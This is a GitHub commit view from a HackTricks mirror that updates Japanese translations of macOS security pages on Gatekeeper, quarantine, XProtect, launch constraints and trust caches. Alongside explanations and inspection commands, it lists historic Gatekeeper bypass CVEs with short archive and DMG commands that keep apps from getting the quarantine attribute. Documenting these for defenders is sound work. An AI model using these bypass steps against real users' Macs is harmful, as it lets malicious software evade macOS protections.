mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
e9ee836d52
commit
b22328e5d6
20 changed files with 709 additions and 526 deletions
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したい**ですか?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたい**ですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **参加してください** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
|
||||
* **あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **や** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,29 +21,29 @@
|
|||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証することによって機能します**。
|
||||
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを実行する**ことを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。
|
||||
|
||||
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによって公証されているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。
|
||||
|
||||
加えて、Gatekeeperは、**ユーザーがダウンロードしたソフトウェアを初めて開くことを承認するように促すことによって、ユーザーの制御とセキュリティを強化します**。この保護策は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
|
||||
加えて、Gatekeeperは、**ユーザーがダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
|
||||
|
||||
### アプリケーション署名
|
||||
|
||||
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認するため**に使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
|
||||
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
|
||||
|
||||
以下はその仕組みです:
|
||||
|
||||
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
|
||||
2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。
|
||||
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは、開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
|
||||
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者が署名して以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
|
||||
|
||||
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
|
||||
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。これがAppleによって知られた開発者に発行された証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
|
||||
|
||||
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します**。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
|
||||
|
||||
#### 署名の確認
|
||||
|
||||
いくつかの**マルウェアサンプル**を確認する際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性がある**ためです。
|
||||
いくつかの**マルウェアサンプル**を確認する際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性があるためです。**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -75,7 +78,7 @@ GateKeeperの**ステータス**を確認することができます:
|
|||
spctl --status
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
注意してください。GateKeeperの署名チェックは、**隔離属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
|
||||
注意してください。GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
|
||||
{% endhint %}
|
||||
|
||||
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します:
|
||||
|
@ -149,11 +152,11 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### Quarantine Files
|
||||
|
||||
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般的に「**隔離フラグ**」として知られる**拡張ファイル属性**を付加します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
|
||||
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般に「**隔離フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
|
||||
|
||||
**隔離フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。
|
||||
|
||||
**隔離フラグが存在しない場合**(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperの**チェックは実行されない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードしたファイルを開く際には注意を払うべきです。
|
||||
**隔離フラグが存在しない場合**(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperの**チェックは行われない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードしたファイルを開く際には注意を払うべきです。
|
||||
|
||||
{% hint style="info" %}
|
||||
**コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースすべての暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**非現実的です**。
|
||||
|
@ -284,7 +287,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**https://developer.apple.com/** から **Kernel Debug Kit** をダウンロードすることができ、これには拡張のシンボリケート版が含まれています。
|
||||
カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**https://developer.apple.com/** から **Kernel Debug Kit** をダウンロードすることで、拡張のシンボリケート版を含むことができます。
|
||||
|
||||
### XProtect
|
||||
|
||||
|
@ -304,7 +307,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
|
||||
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashesを持つコードがレガシー権限を使用することを許可します。
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashを持つコードがレガシー権限を使用することを許可します。
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleIDおよびTeamIDを介して読み込むことが禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: マルウェアを検出するためのYaraルール。
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: ブロックされたアプリケーションとTeamIDのハッシュを含むSQLite3データベース。
|
||||
|
@ -314,10 +317,10 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS
|
|||
### Not Gatekeeper
|
||||
|
||||
{% hint style="danger" %}
|
||||
Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実際には、_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行および検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
|
||||
Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実際には、_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行され、検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
|
||||
{% endhint %}
|
||||
|
||||
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**(ElectronのasarやNIBファイルなど)ことが可能でしたが、他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
|
||||
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**(ElectronのasarやNIBファイルなど)ことが可能でした。他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
|
||||
|
||||
しかし、現在はmacOSがアプリケーションバンドル内のファイルの**変更を防ぐ**ため、これは不可能です。したがって、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリを実行した後、バンドルを変更できなくなるため、もはや悪用できないことがわかります。たとえば、Contentsディレクトリの名前をNotConに変更し(エクスプロイトで示されているように)、その後アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生し、実行されません。
|
||||
|
||||
|
@ -343,7 +346,7 @@ Gatekeeperをバイパスする方法(ユーザーに何かをダウンロー
|
|||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
このバイパスでは、`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたものであり、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
|
||||
このバイパスでは、`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
@ -351,7 +354,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
|||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するため、**`application.app`** は **Archive Utility** によって解凍されるときに検疫属性を取得しません。
|
||||
コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するので、**`application.app`** は **Archive Utility** によって解凍されるときに検疫属性を取得しません。
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
@ -379,9 +382,9 @@ python3 -m http.server
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
[**オリジナルレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)をチェックして、詳細情報を確認してください。
|
||||
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
|
||||
|
||||
これはAppleArchivesを使用しても悪用される可能性があることに注意してください:
|
||||
これがAppleArchivesでも悪用される可能性があることに注意してください:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
|
@ -408,8 +411,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
クアランティン属性が設定されないファイルを作成できることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成し**(`._`で始める)、**この隠しファイルへのシンボリックリンクとして可視ファイルを作成することでした。**\
|
||||
**dmgファイルが実行されると、**クアランティン属性がないため、**Gatekeeperをバイパスします。**
|
||||
クアランティン属性が設定されないファイルを作成できることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成**し、**この隠し**ファイルへのシンボリックリンクとして**可視ファイルを作成すること**でした。\
|
||||
**dmgファイルが実行されると**、クアランティン属性がないため、**Gatekeeperをバイパスします。**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
|
|
@ -1,100 +1,101 @@
|
|||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>から<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するには、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
macOSの起動制約は、**プロセスの開始方法、誰が、どこからプロセスを開始できるか**を規制することでセキュリティを強化するために導入されました。macOS Venturaで開始され、**各システムバイナリを異なる制約カテゴリに分類**するフレームワークを提供し、それらは**信頼キャッシュ**内に定義されたシステムバイナリとそれらのハッシュを含むリストを含みます。これらの制約は、システム内のすべての実行可能なバイナリに適用され、特定のバイナリを起動するための**要件を明確にする**一連の**ルール**を含みます。これらのルールには、バイナリが満たす必要がある自己制約、親プロセスが満たす必要がある親制約、および他の関連エンティティが守る必要がある責任制約が含まれます。
|
||||
macOSの起動制約は、**プロセスがどのように、誰が、どこから開始できるかを規制することによって**セキュリティを強化するために導入されました。macOS Venturaで開始され、**各システムバイナリを異なる制約カテゴリに分類するフレームワーク**を提供します。これらは**信頼キャッシュ**内で定義されており、システムバイナリとそのハッシュのリストを含んでいます。これらの制約は、システム内のすべての実行可能バイナリに拡張され、**特定のバイナリを起動するための要件を定義する一連の**ルールを含みます。ルールには、バイナリが満たすべき自己制約、親プロセスが満たすべき親制約、関連する他のエンティティが遵守すべき責任制約が含まれます。
|
||||
|
||||
このメカニズムは、macOS Sonomaから始まる**環境制約**を通じてサードパーティのアプリケーションにも拡張され、開発者が**環境制約のためのキーと値のセット**を指定することでアプリを保護できるようになりました。
|
||||
このメカニズムは、macOS Sonoma以降、**環境制約**を通じてサードパーティアプリにも拡張され、開発者が**環境制約のためのキーと値のセットを指定することによってアプリを保護できるようにします。**
|
||||
|
||||
**起動環境とライブラリ制約**を定義するには、**`launchd`プロパティリストファイル**に保存するか、**コードサイニングで使用する別個のプロパティリスト**ファイルに保存します。
|
||||
**起動環境およびライブラリ制約**は、**`launchd`プロパティリストファイル**に保存するか、コード署名で使用する**別のプロパティリスト**ファイルに保存する制約辞書で定義します。
|
||||
|
||||
制約には4種類あります:
|
||||
制約には4つのタイプがあります:
|
||||
|
||||
* **自己制約**:**実行中の**バイナリに適用される制約。
|
||||
* **親プロセス**:プロセスの**親に適用される**制約(たとえば**`launchd`**がXPサービスを実行している場合)。
|
||||
* **責任制約**:XPC通信でサービスを呼び出すプロセスに適用される制約。
|
||||
* **親プロセス**:**プロセスの親**に適用される制約(例えば、**`launchd`**がXPサービスを実行している場合)。
|
||||
* **責任制約**:XPC通信で**サービスを呼び出すプロセス**に適用される制約。
|
||||
* **ライブラリロード制約**:ロードできるコードを選択的に記述するためにライブラリロード制約を使用します。
|
||||
|
||||
したがって、プロセスが別のプロセスを起動しようとする場合(`execve(_:_:_:)`または`posix_spawn(_:_:_:_:_:_:)`を呼び出すことにより)、オペレーティングシステムは**実行可能ファイルが自己制約を満たしているかどうか**をチェックします。また、**親プロセスの実行可能ファイルが実行可能ファイルの親制約を満たしているか**、および**責任プロセスの実行可能ファイルが実行可能ファイルの責任プロセス制約を満たしているか**をチェックします。これらの起動制約のいずれかが満たされていない場合、オペレーティングシステムはプログラムを実行しません。
|
||||
したがって、プロセスが別のプロセスを起動しようとするとき — `execve(_:_:_:)`または`posix_spawn(_:_:_:_:_:_:)`を呼び出すことによって — オペレーティングシステムは、**実行可能**ファイルが**自身の自己制約を満たしているかどうかを確認します**。また、**親**プロセスの実行可能ファイルが**実行可能ファイルの親制約を満たしているかどうか**、および**責任**プロセスの実行可能ファイルが**実行可能ファイルの責任プロセス制約を満たしているかどうか**も確認します。これらの起動制約のいずれかが満たされない場合、オペレーティングシステムはプログラムを実行しません。
|
||||
|
||||
ライブラリをロードする際に**ライブラリ制約の一部が真でない**場合、プロセスは**ライブラリをロードしません**。
|
||||
ライブラリをロードする際に**ライブラリ制約の一部が真でない場合**、プロセスは**ライブラリをロードしません**。
|
||||
|
||||
## LCカテゴリ
|
||||
|
||||
LCは**事実**と**論理演算**(and、orなど)で構成され、事実を組み合わせます。
|
||||
LCは、**事実**と**論理演算**(and、or..)で構成され、事実を組み合わせます。
|
||||
|
||||
[**LCが使用できる事実は文書化されています**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)。例:
|
||||
[**LCが使用できる事実は文書化されています**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)。例えば:
|
||||
|
||||
* is-init-proc:実行可能ファイルがオペレーティングシステムの初期化プロセス(`launchd`)である必要があるかどうかを示すブール値。
|
||||
* is-sip-protected:System Integrity Protection(SIP)によって保護されたファイルである必要があるかどうかを示すブール値。
|
||||
* `on-authorized-authapfs-volume:`:オペレーティングシステムが認証されたAPFSボリュームから実行可能ファイルを読み込んだかどうかを示すブール値。
|
||||
* `on-authorized-authapfs-volume`:オペレーティングシステムが認証されたAPFSボリュームから実行可能ファイルを読み込んだかどうかを示すブール値。
|
||||
* is-sip-protected:実行可能ファイルがシステム整合性保護(SIP)によって保護されているファイルである必要があるかどうかを示すブール値。
|
||||
* `on-authorized-authapfs-volume:` オペレーティングシステムが認可された、認証されたAPFSボリュームから実行可能ファイルをロードしたかどうかを示すブール値。
|
||||
* `on-authorized-authapfs-volume`:オペレーティングシステムが認可された、認証されたAPFSボリュームから実行可能ファイルをロードしたかどうかを示すブール値。
|
||||
* Cryptexesボリューム
|
||||
* `on-system-volume:`:オペレーティングシステムが現在起動しているシステムボリュームから実行可能ファイルを読み込んだかどうかを示すブール値。
|
||||
* /System内部...
|
||||
* `on-system-volume:` オペレーティングシステムが現在起動しているシステムボリュームから実行可能ファイルをロードしたかどうかを示すブール値。
|
||||
* /System内...
|
||||
* ...
|
||||
|
||||
Appleバイナリが署名されると、**信頼キャッシュ**内の**LCカテゴリ**に割り当てられます。
|
||||
Appleのバイナリが署名されると、それは**信頼キャッシュ内のLCカテゴリに割り当てられます**。
|
||||
|
||||
* **iOS 16 LCカテゴリ**は[**こちらで逆アセンブルされ文書化されています**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
||||
* 現在の**LCカテゴリ(macOS 14** - Somona)は逆アセンブルされ、[**こちらで説明が見つかります**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||
* **iOS 16 LCカテゴリ**は[**逆転され、ここに文書化されています**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
||||
* 現在の**LCカテゴリ(macOS 14 - Sonoma)**は逆転され、その[**説明はここにあります**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||
|
||||
たとえば、カテゴリ1は:
|
||||
例えば、カテゴリ1は:
|
||||
```
|
||||
Category 1:
|
||||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||
Parent Constraint: is-init-proc
|
||||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: システムまたはCryptexesボリューム内にある必要があります。
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: システムまたはCryptexesボリューム内である必要があります。
|
||||
* `launch-type == 1`: システムサービスである必要があります(LaunchDaemons内のplist)。
|
||||
* `validation-category == 1`: オペレーティングシステムの実行可能ファイルです。
|
||||
* `validation-category == 1`: オペレーティングシステムの実行可能ファイル。
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### LCカテゴリの逆変換
|
||||
### LCカテゴリの逆アセンブル
|
||||
|
||||
詳細は[**こちら**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints)にありますが、基本的に、これらは**AMFI(AppleMobileFileIntegrity)**で定義されているため、**KEXT**を取得するためにKernel Development Kitをダウンロードする必要があります。 **`kConstraintCategory`**で始まるシンボルが**興味深い**ものです。 これらを抽出すると、ASN.1でエンコードされたストリームが得られます。これを[ASN.1デコーダ](https://holtstrom.com/michael/tools/asn1decoder.php)またはpython-asn1ライブラリとその`dump.py`スクリプト、[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)を使用してデコードする必要があります。これにより、より理解しやすい文字列が得られます。
|
||||
詳細については[**こちらに**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints)ありますが、基本的には、これらは**AMFI (AppleMobileFileIntegrity)**で定義されているため、**KEXT**を取得するにはカーネル開発キットをダウンロードする必要があります。**`kConstraintCategory`**で始まるシンボルが**興味深い**ものです。それらを抽出すると、DER (ASN.1) エンコードされたストリームが得られ、[ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php)またはpython-asn1ライブラリとその`dump.py`スクリプト、[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)を使用してデコードする必要があります。これにより、より理解しやすい文字列が得られます。
|
||||
|
||||
## 環境制約
|
||||
|
||||
これらは**サードパーティアプリケーション**で構成されたLaunch Constraintsです。 開発者は、自分のアプリケーションへのアクセスを制限するために使用する**事実**と**論理演算子**を選択できます。
|
||||
これらは**サードパーティアプリケーション**で設定されたLaunch Constraintsです。開発者は、アプリケーション内で自分自身へのアクセスを制限するために使用する**事実**と**論理演算子**を選択できます。
|
||||
|
||||
アプリケーションの環境制約を列挙することが可能です。
|
||||
アプリケーションの環境制約を列挙することが可能です:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## 信頼キャッシュ
|
||||
|
||||
**macOS** にはいくつかの信頼キャッシュがあります:
|
||||
**macOS** にはいくつかの信頼キャッシュがあります:
|
||||
|
||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
- **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
iOSでは、**`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** にあるようです。
|
||||
iOS では **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** にあるようです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
